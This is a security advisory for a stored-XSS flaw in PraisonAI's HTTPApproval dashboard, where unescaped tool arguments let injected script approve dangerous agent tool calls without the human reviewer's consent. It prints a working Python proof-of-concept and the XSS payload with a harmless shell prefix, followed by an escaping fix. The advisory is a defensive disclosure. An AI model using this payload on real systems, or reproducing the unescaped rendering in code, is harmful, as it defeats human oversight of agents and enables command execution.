CVE-2026-56840

Description

# HTTPApproval dashboard renders tool arguments as raw HTML, allowing approval-page XSS to approve dangerous tools ## Summary `praisonai.bots.HTTPApproval` renders pending tool approval arguments directly into the approval dashboard HTML. An attacker-controlled tool argument can inject JavaScript into that page. When a human opens the approval URL to inspect the risky tool request, the script runs in the dashboard origin and can POST to the same request's `/approve/{request_id}/decide` endpoint, causing `HTTPApproval` to return `approved=True`. The local PoV uses a harmless `touch /tmp/prai010 #` command prefix and stops at the approval decision. It does not execute the command. ## Affected Versions Proposed affected range: `>= 4.5.2, <= 4.6.57`. Validated affected: - current head `2f9677abb2ea68eab864ee8b6a828fd0141612e1` (`v4.6.57-4-g2f9677ab`) - `v4.5.2` - `v4.5.3` - `v4.5.124` - `v4.5.126` - `v4.5.128` - `v4.6.10` - `v4.6.56` - `v4.6.57` `v4.5.0` and `v4.5.1` do not contain the HTTPApproval backend. ## Impact An attacker who can influence an agent task or prompt enough to produce a dangerous tool call can embed a short XSS payload in the tool argument. When the human approver opens the HTTP approval page, the script can approve the pending dangerous tool call before the human explicitly clicks Approve or Deny. This bypasses the human-in-the-loop approval boundary for dangerous tools such as `execute_command`, `execute_code`, `delete_file`, or other tools gated through `HTTPApproval`. If the agent continues after approval, the dangerous tool runs with the privileges of the PraisonAI process. ## Why This Is Not Intended Behavior PraisonAI documentation describes approval as a safety control that pauses an agent before risky tools and asks a human or configured channel to allow or deny execution. The documentation also lists `http` as a supported non-console approval backend. Opening the approval page to inspect a risky command should not itself approve the command. The current behavior allows attacker-controlled tool arguments to execute script in the approval page and submit the approval action. This is distinct from the previously published stored-XSS advisory for agent output rendering. That advisory concerned `src/praisonai/api.py` and missing `nh3` sanitization in older versions. This report concerns the `HTTPApproval` dashboard sink and remains present in current head. ## Root Cause In `src/praisonai/praisonai/bots/_http_approval.py`, `_build_html()` builds the approval page with raw f-string interpolation: - argument keys and values are appended to `args_html` without HTML escaping; - `tool_name`, `risk_level`, and `agent_name` are also interpolated into the returned HTML; - the generated page contains same-origin JavaScript that posts to `/approve/{request_id}/decide`. `_handle_decide()` accepts JSON from that endpoint and marks the pending request approved when `decision == "approve"`. Because the approval page is generated from the pending request's unescaped tool arguments, an injected script can call the same endpoint that the legitimate Approve button uses. The request id is unguessable, but the script runs inside the loaded approval page and can derive the endpoint from `location.pathname`. ## Reproduction The PoV is local-only and does not execute the dangerous tool command. Run it from a PraisonAI checkout or environment where `praisonai` and `praisonaiagents` import from the candidate version. ```python import asyncio import json import socket import aiohttp from praisonai.bots._http_approval import HTTPApproval from praisonaiagents.approval.protocols import ApprovalRequest def free_port(): with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock: sock.bind(("127.0.0.1", 0)) return sock.getsockname()[1] payload = ( "touch /tmp/prai010 # " "</code><script>" "fetch(location.pathname+'/decide',{" "method:'POST',headers:{'Content-Type':'application/json'}," "body:'{\"decision\":\"approve\"}'})" "</script><code>" ) async def main(): backend = HTTPApproval(host="127.0.0.1", port=free_port(), timeout=5) request = ApprovalRequest( tool_name="execute_command", arguments={"command": payload}, risk_level="critical", agent_name="pov-agent", ) task = asyncio.create_task(backend.request_approval(request)) request_id = "" for _ in range(100): if backend._pending: request_id = next(iter(backend._pending)) break await asyncio.sleep(0.05) assert request_id url = f"http://127.0.0.1:{backend._port}/approve/{request_id}" async with aiohttp.ClientSession() as session: async with session.get(url) as response: page = await response.text() raw_script_present = "<script>fetch(location.pathname+'/decide'" in page script_not_html_escaped = "&lt;script" not in page payload_uses_same_origin_decide_endpoint = "fetch(location.pathname+'/decide'" in page payload_not_truncated = "..." not in page[ page.find("<script>"):page.find("<script>") + len(payload) + 10 ] assert raw_script_present assert script_not_html_escaped assert payload_not_truncated # Same request the injected same-origin script submits. async with session.post(f"{url}/decide", json={"decision": "approve"}) as response: post_body = await response.text() decision = await task await backend.shutdown() print(json.dumps({ "payload_len": len(payload), "payload_shell_prefix": "touch /tmp/prai010", "raw_script_present": raw_script_present, "script_not_html_escaped": script_not_html_escaped, "payload_uses_same_origin_decide_endpoint": payload_uses_same_origin_decide_endpoint, "payload_not_truncated": payload_not_truncated, "post_body": post_body, "decision_approved": decision.approved, "decision_reason": decision.reason, "vulnerable": bool( raw_script_present and script_not_html_escaped and payload_uses_same_origin_decide_endpoint and payload_not_truncated and decision.approved ), }, indent=2)) asyncio.run(main()) ``` Expected affected output includes: ```json { "payload_len": 175, "payload_shell_prefix": "touch /tmp/prai010", "raw_script_present": true, "script_not_html_escaped": true, "payload_uses_same_origin_decide_endpoint": true, "payload_not_truncated": true, "decision_approved": true, "vulnerable": true } ``` The relevant injected argument shape is: ```text touch /tmp/prai010 # </code><script>fetch(location.pathname+'/decide',{method:'POST',headers:{'Content-Type':'application/json'},body:'{"decision":"approve"}'})</script><code> ``` The shell prefix demonstrates that the same argument can be executable shell syntax after approval; the PoV stops before executing the tool. ## Suggested Fix Escape every untrusted value before inserting it into the approval HTML: - `tool_name` - `risk_level` - `agent_name` - every argument key - every argument value For example, use `html.escape(str(value), quote=True)` or a template engine that auto-escapes by default. Add regression tests that include `</code><script>...` in tool arguments and assert that the rendered page contains escaped text, not a script element. Minimal patch shape: ```python from html import escape def h(value: object) -> str: return escape(str(value), quote=True) tool_name = h(info.get("tool_name", "unknown")) risk_level = h(info.get("risk_level", "unknown")) agent_name = h(info.get("agent_name", "")) args_html = "" for k, v in arguments.items(): val_str = str(v) if len(val_str) > 200: val_str = val_str[:197] + "..." args_html += ( f"<tr><td><code>{h(k)}</code></td>" f"<td><code>{h(val_str)}</code></td></tr>" ) ``` Additional hardening: - avoid inline JavaScript and add a restrictive Content Security Policy; - keep the request id as an unguessable capability, but do not rely on it as an XSS defense; - consider requiring a per-request decision token outside attacker-controlled rendered argument fields.